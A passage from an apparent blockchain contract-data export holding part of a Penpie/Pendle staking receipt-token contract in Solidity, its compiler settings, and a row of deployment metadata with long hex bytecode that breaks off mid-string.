}\n\n // should only be called by 1. pendleStaking for Pendle Market deposits 2. masterPenpie for other general staking token such as mPendleOFT or PNP-ETH Lp tokens\n function burn(address account, uint256 amount) external virtual onlyOwner {\n _burn(account, amount);\n }\n\n // rewards are calculated based on user's receipt token balance, so reward should be updated on master penpie before transfer\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n IMasterPenpie(masterPenpie).beforeReceiptTokenTransfer(from, to, amount);\n }\n\n // rewards are calculated based on user's receipt token balance, so balance should be updated on master penpie before transfer\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n IMasterPenpie(masterPenpie).afterReceiptTokenTransfer(from, to, amount);\n }\n\n}"
}
},
"settings": {
"optimizer": {
"enabled": true,
"runs": 100
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
},
"libraries": {
"contracts/libraries/ERC20FactoryLib.sol": {
"ERC20FactoryLib": "0xae8e4bc88f792297a808cb5f32d4950fbbd8aeba"
}
}
}
}} |
1 | 19,493,865 | 6a3df9f5fe2f8dc30f95698bea518a97c77d474387a489bce531ea956e2829c2 | 83fabb159a1aec15676d1e1ce5e5bb4289a44fa48ef2e82771c7ec45fdc54c93 | 0cdb34e6a4d635142bb92fe403d38f636bbb77b8 | 0cdb34e6a4d635142bb92fe403d38f636bbb77b8 | 6459ff1cc986ea85f199d11aca65d9b4207db7d5 | 60806040523480156200001157600080fd5b506200001c62000022565b620000e4565b600054610100900460ff16156200008f5760405162461bcd60e51b815260206004820152602760248201527f496e697469616c697a61626c653a20636f6e747261637420697320696e697469604482015266616c697a696e6760c81b606482015260840160405180910390fd5b60005460ff9081161015620000e2576000805460ff191660ff9081179091556040519081527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b565b6155b480620000f46000396000f3fe6080604052600436106103475760003560e01c80638456cb59116101b2578063b67b6df3116100ed578063e437ad0311610090578063e437ad0314610b09578063e6ec638b14610b29578063e7b9b93d14610b49578063efbd906014610b5f578063f23f569c14610b75578063f2fde38b14610b95578063f9051b7214610bb5578063fa8da92114610bd557600080fd5b8063b67b6df314610a13578063b702c60c14610a33578063be18a63e14610a53578063c415b95c14610a73578063ce7319ae14610a93578063d7b777a014610ab3578063de3fcde914610ad3578063e2a578cd14610ae957600080fd5b8063a8f50a4411610155578063a8f50a4414610935578063ab9c799714610948578063ad5c464814610968578063ad8fab3214610988578063ae12213b146109a8578063b0e21e8a146109c8578063b3944d52146109de578063b4606bab146109f357600080fd5b80638456cb59146107bc5780638c466507146107d15780638cbfff00146107f15780638da5cb5b14610811578063910a38241461082f578063960a8a611461084f578063a4063dbc1461086f578063a83b67d11461091557600080fd5b8063415bbe8a11610282578063698766ee11610225578063698766ee1461068f578063715018a6146106af578063719e5ff1146106c457806378f18bc8146106e457806379af55e4146107045780637cf738d2146107245780637eaa176c1461074457806382dabb211461079c57600080fd5b8063415bbe8a146105a157806342c1e587146105b757806342f86dd3146105d75780634a9d7127146105f75780635c975abb14610617578063612be6a21461063a57806362190fde1461065a578063635202741461067a57600080fd5b806331f61254116102ea57806331f61254146104c0578063323b309a146104e057806332e525f5146105005780633c41d5ab146105205780633d38b3a7146105405780633f3e2b11146105555780633f4ba83a146105755780633fd8b02f1461058a57600080fd5b80630edd75d2146103b75780630fe79ee4146103dd578063167948e01461040a5780631a2d5e6e146104205780631fed695514610440578063206aeab31461046057806324e7a688146104805780633043fed0146104a057600080fd5b366103b25760ca60009054906101000a90046001600160a01b03166001600160a01b031663d0e30db0346040518263ffffffff1660e01b81526004016000604051808303818588803b15801561039c57600080fd5b505af11580156103b0573d6000803e3d6000fd5b005b600080fd5b6103ca6103c5366004614823565b610bf5565b6040519081526020015b60405180910390f35b3480156103e957600080fd5b506103fd6103f8366004614864565b610d2b565b6040516103d4919061487d565b34801561041657600080fd5b506103ca60da5481565b34801561042c57600080fd5b506103b061043b3660046148a6565b610d55565b34801561044c57600080fd5b506103b061045b3660046149dd565b610ea1565b34801561046c57600080fd5b5060d4546103fd906001600160a01b031681565b34801561048c57600080fd5b506103b061049b366004614a5c565b61120b565b3480156104ac57600080fd5b506103b06104bb366004614864565b611235565b3480156104cc57600080fd5b506103b06104db366004614a79565b611265565b3480156104ec57600080fd5b506103b06104fb366004614aba565b6113d9565b34801561050c57600080fd5b506103b061051b366004614b0b565b611573565b34801561052c57600080fd5b5060ce546103fd906001600160a01b031681565b34801561054c57600080fd5b506103ca6116ce565b34801561056157600080fd5b506103b0610570366004614a79565b61174e565b34801561058157600080fd5b506103b06117ff565b34801561059657600080fd5b506103ca6101105481565b3480156105ad57600080fd5b506103ca60d95481565b3480156105c357600080fd5b5060cf546103fd906001600160a01b031681565b3480156105e357600080fd5b506103b06105f2366004614b44565b61183d565b34801561060357600080fd5b5060cd546103fd906001600160a01b031681565b34801561062357600080fd5b5060975460ff1660405190151581526020016103d4565b34801561064657600080fd5b5060cc546103fd906001600160a01b031681565b34801561066657600080fd5b506103b0610675366004614a5c565b611925565b34801561068657600080fd5b506103ca6119b2565b34801561069b57600080fd5b506103b06106aa366004614b9a565b611a29565b3480156106bb57600080fd5b506103b0611ae5565b3480156106d057600080fd5b506103b06106df366004614864565b611af9565b3480156106f057600080fd5b506103b06106ff366004614c28565b611d51565b34801561071057600080fd5b506103b061071f366004614864565b612017565b34801561073057600080fd5b5060c9546103fd906001600160a01b031681565b34801561075057600080fd5b5061076461075f366004614864565b6120af565b604080519586526001600160a01b0390941660208601529115159284019290925290151560608301521515608082015260a0016103d4565b3480156107a857600080fd5b5060d1546103fd906001600160a01b031681565b3480156107c857600080fd5b506103b0612107565b3480156107dd57600080fd5b5060e0546103fd906001600160a01b031681565b3480156107fd57600080fd5b506103b061080c366004614a5c565b61213e565b34801561081d57600080fd5b506033546001600160a01b03166103fd565b34801561083b57600080fd5b506103b061084a366004614a5c565b612168565b34801561085b57600080fd5b506103b061086a366004614ce0565b612192565b34801561087b57600080fd5b506108d361088a366004614a5c565b60d5602052600090815260409020805460018201546002830154600384015460048501546005909501546001600160a01b03948516959385169492831693919092169160ff1686565b604080516001600160a01b03978816815295871660208701529386169385019390935293166060830152608082019290925290151560a082015260c0016103d4565b34801561092157600080fd5b506103b0610930366004614a5c565b612292565b6103ca610943366004614d42565b6122ec565b34801561095457600080fd5b506103b0610963366004614d8d565b612448565b34801561097457600080fd5b5060ca546103fd906001600160a01b031681565b34801561099457600080fd5b5060cb546103fd906001600160a01b031681565b3480156109b457600080fd5b506103b06109c3366004614864565b6125d7565b3480156109d457600080fd5b506103ca60db5481565b3480156109ea57600080fd5b5060d6546103ca565b3480156109ff57600080fd5b5060d2546103fd906001600160a01b031681565b348015610a1f57600080fd5b506103b0610a2e366004614a5c565b61261e565b348015610a3f57600080fd5b506103b0610a4e366004614a5c565b612678565b348015610a5f57600080fd5b5060d3546103fd906001600160a01b031681565b348015610a7f57600080fd5b5060dc546103fd906001600160a01b031681565b348015610a9f57600080fd5b506103b0610aae366004614de0565b6126a2565b348015610abf57600080fd5b5060df546103fd906001600160a01b031681565b348015610adf57600080fd5b506103ca60d75481565b348015610af557600080fd5b5060de546103fd906001600160a01b031681565b348015610b1557600080fd5b5060dd546103fd906001600160a01b031681565b348015610b3557600080fd5b506103b0610b44366004614b0b565b6126ea565b348015610b5557600080fd5b506103ca60e15481565b348015610b6b57600080fd5b506103ca60d05481565b348015610b8157600080fd5b506103b0610b903660046148a6565b61279f565b348015610ba157600080fd5b506103b0610bb0366004614a5c565b612871565b348015610bc157600080fd5b506103b0610bd0366004614864565b6128ea565b348015610be157600080fd5b506103b0610bf0366004614823565b61291a565b6000610bff612b55565b60c9546040516370a0823160e01b81526000916001600160a01b0316906370a0823190610c3090309060040161487d565b602060405180830381865afa158015610c4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c719190614e2b565b60d15460c954919250610c91916001600160a01b03908116911683612baf565b6000610c9b612ce9565b60d154604051631988e37760e31b81529192506001600160a01b03169063cc471bb8903490610cd490869086908b908b90600401614e44565b60206040518083038185885af1158015610cf2573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610d179190614e97565b6001600160801b0316925050505b92915050565b60d68181548110610d3b57600080fd5b6000918252602090912001546001600160a01b0316905081565b600054610100900460ff1615808015610d755750600054600160ff909116105b80610d8f5750303b158015610d8f575060005460ff166001145b610db45760405162461bcd60e51b8152600401610dab90614ec0565b60405180910390fd5b6000805460ff191660011790558015610dd7576000805461ff0019166101001790555b610ddf612cfd565b610de7612d2c565b610def612d5b565b60c980546001600160a01b03199081166001600160a01b038a81169190911790925560ca8054821689841617905560ce8054821685841617905560d18054821688841617905560d28054821687841617905560d480549091169185169190911790558015610e98576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498906020015b60405180910390a15b50505050505050565b610ea9612b55565b6001600160a01b038416600090815260d5602052604090206005015460ff1615610ee6576040516333b1990560e11b815260040160405180910390fd5b60ce54604051630639860b60e51b815260009173ae8e4bc88f792297a808cb5f32d4950fbbd8aeba9163c730c16091610f319189916001600160a01b03169088908890600401614f5e565b602060405180830381865af4158015610f4e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f729190614f9c565b60ce5460c954604051631d9f877360e11b81529293506000926001600160a01b0392831692633b3f0ee692610faf92879290911690600401614fb9565b6020604051808303816000875af1158015610fce573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ff29190614f9c565b60cd546040516353d6103d60e01b81529192506001600160a01b0316906353d6103d906110289089908590600190600401614fd3565b600060405180830381600087803b15801561104257600080fd5b505af1158015611056573d6000803e3d6000fd5b505060ce5460405163266f24b760e01b8152600481018990526001600160a01b038a8116602483015286811660448301528581166064830152909116925063266f24b79150608401600060405180830381600087803b1580156110b857600080fd5b505af11580156110cc573d6000803e3d6000fd5b50506040805160c0810182526001600160a01b038a8116808352868216602080850182815260cd5485168688019081528b861660608089018281524260808b01908152600160a08c0181815260008b815260d58a528e81209d518e546001600160a01b0319908116918f16919091178f5598518e840180548b16918f16919091179055965160028e0180548a16918e16919091179055925160038d018054891691909c1617909a555160048b0155516005909901805460ff19169915159990991790985560d6805497880181559091527fe767803f8ecf1dee6bb0345811f7312cda556058b19db6389ad9ae3568643ddd9095018054909116841790558551928352820152928301527f4c61bab17e59e06eb29c0659ba5f68dc5bc003d57587a7280d98d532d2bf312a935001905060405180910390a1505050505050565b611213612b55565b60cc80546001600160a01b0319166001600160a01b0392909216919091179055565b61123d612b55565b61384081111561126057604051636f1d586b60e01b815260040160405180910390fd5b60d055565b6002606554036112875760405162461bcd60e51b8152600401610dab90614ff7565b6002606555611294612d8a565b6001600160a01b03838116600090815260d560205260409020600281015485921633146112d457604051630c41ae1360e41b815260040160405180910390fd5b6001600160a01b03808616600090815260d560205260408120805490926112fd92911690612dd0565b6003810154604051632770a7eb60e21b81526001600160a01b0390911690639dc29fac90611331908890889060040161502e565b600060405180830381600087803b15801561134b57600080fd5b505af115801561135f573d6000803e3d6000fd5b5050825461137a92506001600160a01b0316905086866132ff565b600381015460408051868152602081018790526001600160a01b039283169289811692908916917fbae0543fc4bf2babacb67049151541b087a2a4da5d699d396cb271009390e2d2910160405180910390a45050600160655550505050565b6002606554036113fb5760405162461bcd60e51b8152600401610dab90614ff7565b6002606555611408612d8a565b6001600160a01b03848116600090815260d5602052604090206002810154869216331461144857604051630c41ae1360e41b815260040160405180910390fd5b600581015460ff1661146d57604051636a325bd960e11b815260040160405180910390fd5b6001600160a01b03808716600090815260d5602052604081208054909261149692911690612dd0565b80546114ad906001600160a01b031686308761331e565b60038101546040516340c10f1960e01b81526001600160a01b03909116906340c10f19906114e1908990889060040161502e565b600060405180830381600087803b1580156114fb57600080fd5b505af115801561150f573d6000803e3d6000fd5b50505050600381015460408051868152602081018790526001600160a01b03928316928a811692908a16917fc9bc689e1fe6f1a599d618c1d5b7a496dfd42ddd4742c79b9e31265b5bb7322b910160405180910390a4505060016065555050505050565b61157b612b55565b6001600160a01b038216600090815260d560205260409020600581015483919060ff166115bb57604051636a325bd960e11b815260040160405180910390fd5b6001600160a01b03831615806115d857506001600160a01b038416155b156115f65760405163e6c4247b60e01b815260040160405180910390fd5b6001600160a01b03848116600090815260d56020526040908190206002810180546001600160a01b0319168785169081179091556001820154600583015493516353d6103d60e01b8152929491936353d6103d9361165e938b93169160ff1690600401614fd3565b600060405180830381600087803b15801561167857600080fd5b505af115801561168c573d6000803e3d6000fd5b505050507fce3a680d01747abb9461a3d05f1da77c9cfb9a5b7a6cc1828c733dc52b154797846040516116bf919061487d565b60405180910390a15050505050565b60d1546040516370a0823160e01b81526000916001600160a01b0316906370a08231906116ff90309060040161487d565b602060405180830381865afa15801561171c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117409190614e97565b6001600160801b0316905090565b611756612d8a565b6001600160a01b038316600090815260d560205260409020600581015484919060ff1661179657604051636a325bd960e11b815260040160405180910390fd5b6040805160018082528183019092526000916020808301908036833701905050905085816000815181106117cc576117cc615047565b60200260200101906001600160a01b031690816001600160a01b0316815250506117f781868661335c565b505050505050565b6002606554036118215760405162461bcd60e51b8152600401610dab90614ff7565b600260655561182e612b55565b611836613a6b565b6001606555565b611845612b55565b6127106118528386615073565b1115611871576040516358d620b360e01b815260040160405180910390fd5b61271061187e8385615073565b111561189d576040516358d620b360e01b815260040160405180910390fd5b60d380546001600160a01b038781166001600160a01b0319928316811790935560da87905560e186905560db85905560dc8054918516919092168117909155604080519283526020830187905282018590526060820184905260808201527f21df36fcb21c91ab978e547b0b07a783b8640e4af05f7a83a11b88ce38253da39060a0016116bf565b61192d612b55565b6001600160a01b0381166119545760405163e6c4247b60e01b815260040160405180910390fd5b60df80546001600160a01b038381166001600160a01b0319831681179093556040519116917f93d91a44a19fab5f6ba1bd574636efa90c520e4cf06a6924b023f47e423c74f3916119a6918491614fb9565b60405180910390a15050565b60d254604051635305f82960e01b81526000916001600160a01b031690635305f829906119e390309060040161487d565b602060405180830381865afa158015611a00573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a249190614e2b565b905090565b60cf546001600160a01b03163314611a5457604051630316025160e11b815260040160405180910390fd5b828114611a77576040516001621398b960e31b0319815260040160405180910390fd5b60d3546040516334c3b37760e11b81526001600160a01b039091169063698766ee90611aad9087908790879087906004016150cf565b600060405180830381600087803b158015611ac757600080fd5b505af1158015611adb573d6000803e3d6000fd5b5050505050505050565b611aed612b55565b611af76000613ab7565b565b611b01612b55565b600060d88281548110611b1657611b16615047565b60009182526020918290206040805160a081018252600290930290910180548352600101546001600160a01b0381169383019390935260ff600160a01b84048116151591830191909152600160a81b8304811615156060830152600160b01b909204909116151560808201529050815b60d854611b959060019061513b565b811015611c995760d8611ba9826001615073565b81548110611bb957611bb9615047565b906000526020600020906002020160d88281548110611bda57611bda615047565b600091825260209091208254600290920201908155600191820180549290910180546001600160a01b031981166001600160a01b039094169384178255825460ff600160a01b91829004811615159091026001600160a81b0319909216909417178082558254600160a81b90819004851615150260ff60a81b198216811783559254600160b01b90819004909416151590930260ff60b01b1990921661ffff60a81b199093169290921717905580611c918161514e565b915050611b86565b5060d8805480611cab57611cab615167565b60008281526020812060026000199093019283020181815560010180546001600160b81b03191690559155815160d7805491929091611ceb90849061513b565b9091555050805160208083015160408085015160608087015183519687526001600160a01b03909416948601949094521515908401521515908201527ff8d0e93ab5bb2949217d7909d7a0a1c922cdebb049a6fe248eb99bbc63bcf0c0906080016119a6565b611d59612b55565b6001600160a01b038216600081815260d56020526040808220815163c4f59f9b60e01b8152915190939163c4f59f9b91600480830192869291908290030181865afa158015611dac573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052611dd4919081019061517d565b90508251815114611e0d5760405162461bcd60e51b815260206004820152600360248201526217171760e91b6044820152606401610dab565b60c9546040516370a0823160e01b81526000916001600160a01b0316906370a0823190611e3e90309060040161487d565b602060405180830381865afa158015611e5b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e7f9190614e2b565b905060005b8251811015611f8b5760006001600160a01b0316838281518110611eaa57611eaa615047565b60200260200101516001600160a01b031603611f045760ca5483516001600160a01b0390911690849083908110611ee357611ee3615047565b60200260200101906001600160a01b031690816001600160a01b0316815250505b6000858281518110611f1857611f18615047565b60200260200101519050611f7887858481518110611f3857611f38615047565b60200260200101518760010160009054906101000a90046001600160a01b0316898681518110611f6a57611f6a615047565b602002602001015185613b09565b5080611f838161514e565b915050611e84565b5060c9546040516370a0823160e01b815260009183916001600160a01b03909116906370a0823190611fc190309060040161487d565b602060405180830381865afa158015611fde573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120029190614e2b565b61200c919061513b565b90506117f781613f90565b600061202b6120268342615073565b6141ad565b60d1546040516364090f6160e11b8152600060048201526001600160801b03831660248201529192506001600160a01b03169063c8121ec2906044016020604051808303816000875af1158015612086573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120aa9190614e97565b505050565b60d881815481106120bf57600080fd5b6000918252602090912060029091020180546001909101549091506001600160a01b0381169060ff600160a01b8204811691600160a81b8104821691600160b01b9091041685565b6002606554036121295760405162461bcd60e51b8152600401610dab90614ff7565b6002606555612136612b55565b6118366141c7565b612146612b55565b60e080546001600160a01b0319166001600160a01b0392909216919091179055565b612170612b55565b60cd80546001600160a01b0319166001600160a01b0392909216919091179055565b61219a612b55565b61271085106121bc576040516358d620b360e01b815260040160405180910390fd5b600060d887815481106121d1576121d1615047565b600091825260209091206002909102016001810180546001600160a01b0388166001600160a81b031990911617600160a01b871515021761ffff60a81b1916600160a81b8615150260ff60b01b191617600160b01b85151502179055805460d7549192508791612241919061513b565b61224b9190615073565b60d75585815560018101546040517f699b82e4ddf9d3de54305631548f438bd57da8b6d846366457d315c30b014ee791610e8f916001600160a01b0390911690899061502e565b61229a612b55565b60cb80546001600160a01b038381166001600160a01b0319831681179093556040519116917f276b041a78f78908446ffd3d9472af67a63628407e45b0401ebfecf5314e47a1916119a6918491614fb9565b60006122f6612d8a565b60006123006116ce565b905084600003612323576040516367a5a71760e11b815260040160405180910390fd5b60c95461233b906001600160a01b031633308861331e565b60d15460c954612358916001600160a01b03918216911687612baf565b6000612362612ce9565b60d154604051631988e37760e31b81529192506001600160a01b03169063cc471bb890349061239b908a9086908b908b90600401614e44565b60206040518083038185885af11580156123b9573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906123de9190614e97565b506000826123ea6116ce565b6123f4919061513b565b61011054604080518a8152602081019290925281018290529091507f7bf6450c3539f2501f46986ad366594cc5c2e900e8d3a65370ae749d7b7527da9060600160405180910390a1925050505b9392505050565b612450612b55565b6127108410612472576040516358d620b360e01b815260040160405180910390fd5b6040805160a0810182528581526001600160a01b03808616602083019081528515159383019384528415156060840190815260016080850181815260d8805492830181556000908152955160029092027f5320ad99a619a90804cd2efe3a5cf0ac1ac5c41ad9ff2c61cf699efdad77109681019290925592517f5320ad99a619a90804cd2efe3a5cf0ac1ac5c41ad9ff2c61cf699efdad77109790910180549651925193511515600160b01b0260ff60b01b19941515600160a81b029490941661ffff60a81b19931515600160a01b026001600160a81b031990981692909516919091179590951716919091171790915560d78054869290612575908490615073565b9091555050604080516001600160a01b0385168152602081018690528315159181019190915281151560608201527f95a34a443b17d09f6ff25c5a6d7423b1f076b1758d5cfbb826221972647e3ed8906080015b60405180910390a150505050565b6125df612b55565b61011080549082905560408051828152602081018490527f90bec2dbd8e4a597dd4ab85251c576d4e1f4a5bb7de5773af2e8ade016b4759291016119a6565b612626612b55565b60cf80546001600160a01b038381166001600160a01b0319831681179093556040519116917fd00cc5a8189e6650ae02d7f52d209c29732ed484b8e55577b96767de25c0ae9a916119a6918491614fb9565b612680612b55565b60ce80546001600160a01b0319166001600160a01b0392909216919091179055565b6126aa612d8a565b6120aa83838080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525033925085915061335c9050565b6126f2612b55565b60de80546001600160a01b03198082166001600160a01b0386811691821790945560dd80549283168686161790556040519284169391909116917fd82b4298ed526fb373b7d78beea021779079a1a4b27e5b46c4241e4115758c499161275a91859190614fb9565b60405180910390a160dd546040517f2cdef2dbe9dd5da2b962e95a6f96fffd5da74e39742c07e985b383a4bf95c433916125c99184916001600160a01b031690614fb9565b600054610100900460ff16158080156127bf5750600054600160ff909116105b806127d95750303b1580156127d9575060005460ff166001145b6127f55760405162461bcd60e51b8152600401610dab90614ec0565b6000805460ff191660011790558015612818576000805461ff0019166101001790555b612826878787878787610d55565b6303b53800610110558015610e98576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb384740249890602001610e8f565b612879612b55565b6001600160a01b0381166128de5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610dab565b6128e781613ab7565b50565b6128f2612b55565b612710811115612915576040516358d620b360e01b815260040160405180910390fd5b60d955565b306001600160a01b031663635202746040518163ffffffff1660e01b8152600401602060405180830381865afa158015612958573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061297c9190614e2b565b60000361299c57604051630da1ec0160e31b815260040160405180910390fd5b60db54158015906129b6575060dc546001600160a01b0316155b806129ca575060dd546001600160a01b0316155b156129e857604051630ad13b3360e21b815260040160405180910390fd5b60d254604051600162525fcd60e11b0319815260009182916001600160a01b039091169063ff5b406690612a249030908890889060040161520b565b6000604051808303816000875af1158015612a43573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052612a6b919081019061529f565b91509150600061271060db5484612a8291906152e5565b612a8c9190615312565b60dc5460ca54919250612aac916001600160a01b039081169116836132ff565b600061271060da5485612abf91906152e5565b612ac99190615312565b60ca54909150612ae3906001600160a01b031633836132ff565b600081612af0848761513b565b612afa919061513b565b60dd5460ca54919250612b1a916001600160a01b039081169116836132ff565b7f3dceb43957dc72b04d40eaf449ac8b867ea8d60ed7d860e9ba977921ab89b46685888887878787604051610e8f9796959493929190615326565b6033546001600160a01b03163314611af75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610dab565b801580612c285750604051636eb1769f60e11b81526001600160a01b0384169063dd62ed3e90612be59030908690600401614fb9565b602060405180830381865afa158015612c02573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612c269190614e2b565b155b612c935760405162461bcd60e51b815260206004820152603660248201527f5361666545524332303a20617070726f76652066726f6d206e6f6e2d7a65726f60448201527520746f206e6f6e2d7a65726f20616c6c6f77616e636560501b6064820152608401610dab565b6120aa8363095ea7b360e01b8484604051602401612cb292919061502e565b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b031990931692909217909152614204565b6000611a2461011054426120269190615073565b600054610100900460ff16612d245760405162461bcd60e51b8152600401610dab90615397565b611af76142d6565b600054610100900460ff16612d535760405162461bcd60e51b8152600401610dab90615397565b611af7614306565b600054610100900460ff16612d825760405162461bcd60e51b8152600401610dab90615397565b611af761432d565b60975460ff1615611af75760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b6044820152606401610dab565b6001600160a01b038216600090815260d56020526040902081158015612e05575060d0546004820154612e03904261513b565b105b15612e0f57505050565b60c9546040516370a0823160e01b81526000916001600160a01b0316906370a0823190612e4090309060040161487d565b602060405180830381865afa158015612e5d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612e819190614e2b565b90504282600401819055506000846001600160a01b031663c4f59f9b6040518163ffffffff1660e01b8152600401600060405180830381865afa158015612ecc573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052612ef4919081019061517d565b9050600081516001600160401b03811115612f1157612f11614928565b604051908082528060200260200182016040528015612f3a578160200160208202803683370190505b50905060005b82518110156130755760006001600160a01b0316838281518110612f6657612f66615047565b60200260200101516001600160a01b031603612fc05760ca5483516001600160a01b0390911690849083908110612f9f57612f9f615047565b60200260200101906001600160a01b031690816001600160a01b0316815250505b828181518110612fd257612fd2615047565b60200260200101516001600160a01b03166370a08231306040518263ffffffff1660e01b8152600401613005919061487d565b602060405180830381865afa158015613022573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906130469190614e2b565b82828151811061305857613058615047565b60209081029190910101528061306d8161514e565b915050612f40565b50604051639262187b60e01b81526001600160a01b03871690639262187b906130a290309060040161487d565b6000604051808303816000875af11580156130c1573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526130e991908101906153e2565b5060005b82518110156132735760006001600160a01b031683828151811061311357613113615047565b60200260200101516001600160a01b03160361316d5760ca5483516001600160a01b039091169084908390811061314c5761314c615047565b60200260200101906001600160a01b031690816001600160a01b0316815250505b600083828151811061318157613181615047565b60200260200101516001600160a01b03166370a08231306040518263ffffffff1660e01b81526004016131b4919061487d565b602060405180830381865afa1580156131d1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906131f59190614e2b565b9050600083838151811061320b5761320b615047565b60200260200101518261321e919061513b565b905080801561325d5761325d8a87868151811061323d5761323d615047565b602090810291909101015160018b01546001600160a01b03168585613b09565b505050808061326b9061514e565b9150506130ed565b5060c9546040516370a0823160e01b815260009185916001600160a01b03909116906370a08231906132a990309060040161487d565b602060405180830381865afa1580156132c6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906132ea9190614e2b565b6132f4919061513b565b9050610e9881613f90565b6120aa8363a9059cbb60e01b8484604051602401612cb292919061502e565b6040516001600160a01b03808516602483015283166044820152606481018290526133569085906323b872dd60e01b90608401612cb2565b50505050565b60c9546040516370a0823160e01b815260009182916001600160a01b03909116906370a082319061339190309060040161487d565b602060405180830381865afa1580156133ae573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906133d29190614e2b565b905060005b85518110156138d65760d560008783815181106133f6576133f6615047565b6020908102919091018101516001600160a01b031682528101919091526040016000206005015460ff1661343d57604051636a325bd960e11b815260040160405180910390fd5b600060d5600088848151811061345557613455615047565b60200260200101516001600160a01b03166001600160a01b031681526020019081526020016000209050428160040181905550600087838151811061349c5761349c615047565b60200260200101516001600160a01b031663c4f59f9b6040518163ffffffff1660e01b8152600401600060405180830381865afa1580156134e1573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052613509919081019061517d565b9050600081516001600160401b0381111561352657613526614928565b60405190808252806020026020018201604052801561354f578160200160208202803683370190505b50905060005b825181101561368a5760006001600160a01b031683828151811061357b5761357b615047565b60200260200101516001600160a01b0316036135d55760ca5483516001600160a01b03909116908490839081106135b4576135b4615047565b60200260200101906001600160a01b031690816001600160a01b0316815250505b8281815181106135e7576135e7615047565b60200260200101516001600160a01b03166370a08231306040518263ffffffff1660e01b815260040161361a919061487d565b602060405180830381865afa158015613637573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061365b9190614e2b565b82828151811061366d5761366d615047565b6020908102919091010152806136828161514e565b915050613555565b5088848151811061369d5761369d615047565b60200260200101516001600160a01b0316639262187b306040518263ffffffff1660e01b81526004016136d0919061487d565b6000604051808303816000875af11580156136ef573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405261371791908101906153e2565b5060005b82518110156138bf57600083828151811061373857613738615047565b60200260200101516001600160a01b03166370a08231306040518263ffffffff1660e01b815260040161376b919061487d565b602060405180830381865afa158015613788573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906137ac9190614e2b565b905060008383815181106137c2576137c2615047565b6020026020010151826137d5919061513b565b90508060008181036137ea57505050506138ad565b60c95487516001600160a01b039091169088908790811061380d5761380d615047565b60200260200101516001600160a01b03160361384d5761271060e1548461383491906152e5565b61383e9190615312565b905061384a818461513b565b91505b613857818c615073565b9a506138a88e8a8151811061386e5761386e615047565b602002602001015188878151811061388857613888615047565b602090810291909101015160018b01546001600160a01b03168686613b09565b505050505b806138b78161514e565b91505061371b565b5050505080806138ce9061514e565b9150506133d7565b5060c9546040516370a0823160e01b8152600091849184916001600160a01b0316906370a082319061390c90309060040161487d565b602060405180830381865afa158015613929573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061394d9190614e2b565b613957919061513b565b613961919061513b565b905061396c81613f90565b82156117f75760c95460e05460405163095ea7b360e01b81526001600160a01b039283169263095ea7b3926139a892911690879060040161502e565b6020604051808303816000875af11580156139c7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906139eb9190615416565b5060e05460c95460405163187179c960e11b81526001600160a01b039182166004820152602481018690526044810187905287821660648201529116906330e2f39290608401600060405180830381600087803b158015613a4b57600080fd5b505af1158015613a5f573d6000803e3d6000fd5b50505050505050505050565b613a73614360565b6097805460ff191690557f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa335b604051613aad919061487d565b60405180910390a1565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b8015613f895760c9546001600160a01b0390811690851603613ccc5760005b60d854811015613cc657600060d88281548110613b4757613b47615047565b906000526020600020906002020190508060010160169054906101000a900460ff1615613cb357805460009061271090613b8190876152e5565b613b8b9190615312565b9050613b97818561513b565b60018301549094508190600160a01b900460ff16613c77576001830154600160a81b900460ff16613c5b576001830154613bde906001600160a01b038a8116911683612baf565b60018301546040516347e7a41160e11b81526001600160a01b0390911690638fcf482290613c129084908c90600401615433565b6020604051808303816000875af1158015613c31573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613c559190615416565b506